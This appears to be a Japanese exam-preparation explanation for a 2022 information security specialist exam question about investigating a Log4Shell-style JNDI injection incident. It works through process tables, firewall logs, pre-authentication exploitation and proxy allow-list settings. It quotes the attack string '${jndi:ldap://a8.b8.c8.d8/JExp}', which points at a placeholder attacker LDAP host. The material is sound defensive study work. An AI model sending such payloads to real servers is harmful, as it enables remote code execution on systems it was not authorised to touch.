情報処理安全確保支援士 2022年 秋期 午後1 問02

解答の論理構成

1. 【問題文】には「runプロセスの外部への通信の有無を確認したところ、IPアドレスがaのホストに対して通信を行っていた」とあります。
2. runプロセスのプロセス ID は【表3】の「200」です。
3. 【表4】でプロセス ID が「200」の行を探すと、宛先 IP アドレスは「a3.b3.c3.d3」であり、サービスは HTTP です。
4. よって、a に入るのは【表4】中で runプロセス（ID200）が通信した唯一の宛先「a3.b3.c3.d3」と判断できます。

誤りやすいポイント

• runプロセスの ID を見落とし、CPU 使用率が高い別プロセスを誤って抽出してしまう。
• 【表4】でプロセス ID を確認せずに、単純に最初に現れる IP アドレスを選んでしまう。
• 送信元・宛先の方向を取り違え、HTTPS 通信（ID110）を runプロセスの通信だと誤解する。

FAQ

解答の論理構成

• 【問題文】の表3には
  「100　…　java BSoftMain」
  「200　100　…　run」
  とあります。この記述から run プロセス (PID 200) の親プロセス ID は 100 であると読み取れます。
• 同じ表3で PID 100 が java BSoftMain、すなわち Tソフトを構成するプロセスであることが分かります。
• プロセスツリーにおいて、子プロセスは親プロセスの実行結果として生成されるため、親が Tソフトであるなら run が起動した原因は Tソフト側に存在する可能性が高いと判断できます。
• 以上より、D主任は「Tソフトを調べれば原因が分かる」と結論づけ、調査対象をTソフトに絞り込みました。

誤りやすいポイント

• 表3の “親プロセス ID” を見落として、run が単独で起動したと誤解する。
• Tソフト＝BSoftMain と SBMain の両方がある点を混同し、どちらが親か特定できない。
• “CPU使用率が高い”ことを直接の根拠と勘違いし、プロセスの親子関係を無視する。

FAQ

解答の論理構成

1. 攻撃開始時刻 b
   • 表5に「13:04:32」「a7.b7.c7.d7」「GET /index.html」「${jndi:ldap://a8.b8.c8.d8/JExp}」とあります。
   • 表7「番号1」は “攻撃者が予約サーバに対して通信を行った” なので、アクセスログの時刻「13:04:32」が該当します。
     ➜ [　b　]＝13:04:32
2. LDAP通信発生時刻 [　c　]
   • 表6に「13:05:50」「予約サーバ→a8.b8.c8.d8」「LDAP」「許可」とあります。
   • 表7「番号2」は “予約サーバが、IPアドレスが[　d　]のホストの[　e　]サービスに[　f　]というクエリを送った” なので、この時刻を採用します。
     ➜ [　c　]＝13:05:50
3. 宛先IP [　d　]
   • 上と同じ表6行にある宛先IPが「a8.b8.c8.d8」です。
     ➜ [　d　]＝a8.b8.c8.d8
4. サービス種別 [　e　]
   • 同一行のサービス欄は「LDAP」です。
     ➜ [　e　]＝LDAP
5. クエリ文字列 [　f　]
   • 表5の攻撃文字列に「${jndi:ldap://a8.b8.c8.d8/JExp}」とあり、“/JExp” がクエリ名に相当します。
     ➜ f＝JExp

誤りやすいポイント

• 「予約サーバ→a9.b9.c9.d9」のHTTP通信（13:06:05）をcに選んでしまう。これは番号3以降の動作であり番号2ではありません。
• クエリ名を「Exploit」と誤記。図2は説明用の例であり、本問の実データは「JExp」です。
• 表6の時刻と表5の時刻を混同し、前後関係を取り違える。

FAQ

解答の論理構成

• 【問題文】には「ライブラリ X は Java のログ出力ライブラリである。」とあり、リクエストを受信すると認証の前後に関係なくログ出力処理が動作します。
• さらに「ライブラリ X を使用したログ出力処理の対象となる文字列中に特定の攻撃文字列が含まれる場合、攻撃者の用意した Java クラスが実行される可能性がある。」と記載されています。
• したがって攻撃者は、利用者IDやパスワードを知らなくても、攻撃文字列 ${jndi:ldap://…} を含むリクエストを送るだけでログ出力を誘発し、脆弱性Yを発動させられます。
• 以上より、脆弱性Yが「認証前のアクセスでも悪用できる」理由は「ログ出力処理に攻撃文字列が含まれれば発動する」ためです。

誤りやすいポイント

• 認証に成功しないとアプリケーションが動かないと考えてしまう。
• LDAP通信が失敗すると攻撃も失敗すると早合点し、ログ出力段階の実行条件を見落とす。
• ライブラリXが「標準で有効」とある点を読み飛ばし、無効化されている前提で判断してしまう。

FAQ

解答の論理構成

1. 脆弱性利用の前提
   • 図2の説明では、攻撃成功には「LDAP」で攻撃者サーバへ問い合わせるフェーズが必須です。
   • 予約サーバが成功した理由は、表2の「2　予約サーバ　インターネット　全て　許可」により外向きLDAPが通過できたからです。
2. 会員サーバ側の通信可否を確認
   • 表2には会員サーバに対応する外向き許可ルールがありません。
   • 「注記3　項番6〜11にはDMZ内のサーバとインターネットとの間…の通信に関するルールはない」とあるため、会員サーバのLDAPは項番12の「全て　全て　全て　拒否」で遮断されます。
3. 認証有無との関係
   • 本文中でE氏が「②脆弱性Yは認証前のアクセスでも悪用できる」と指摘しており、ID・パスワードは無関係と確定します。
4. 結論
   よって攻撃失敗の直接原因は「会員サーバが攻撃者のLDAPサーバに到達できなかった」ことです。

誤りやすいポイント

• 「HTTPSが許可されているからLDAPも通る」と早合点する
• 認証が必要だから攻撃が失敗したと考えてしまう
• 予約サーバと会員サーバのFWルール差分を見落とす
• 項番12のデフォルト拒否ルールを忘れる

FAQ

解答の論理構成

1. ルールを適用する送信元の特定
   問題文では再発防止策として「予約サーバを起点とするインターネットへのHTTPS通信は、プロキシサーバを中継させる設定とする。」とあります。従って表8の「アクセス元 IP アドレス」は“予約サーバ”でなければなりません。
   g ＝ 「予約サーバ」
2. 許可すべき通信先の抽出
   表1の予約サーバの説明に「工場見学の空き状況はU社のSNSアカウントを利用して、クラウドサービス上の複数のSNS投稿用のサーバに対してHTTPSで定期的に投稿される。」と記載されています。予約サーバが外部へ正規に送るのはこの投稿だけなので、許可リストにはそのURL群を指定します。
   h ＝ 「SNS投稿用のサーバのURL」
3. それ以外は全て拒否
   プロキシサーバの仕様では「拒否リストに“全て”を指定すると、許可リストに指定したURL以外のURLへの通信が拒否される。」と明言されています。不正通信を遮断するにはこの設定が必須です。
   i ＝ 「全て」

誤りやすいポイント

• 「アクセス元 IP アドレス」を“プロキシサーバ”と誤解する。設問は予約サーバから外部への通信を制限する目的であり、送信元は予約サーバです。
• 許可リストに“全て”を入れてしまい、事実上フィルタが機能しなくなる。
• 拒否リストを空欄のままにしてしまい、「どのリストにも該当しないURLは、アクセスが許可される」という仕様を見落とす。

FAQ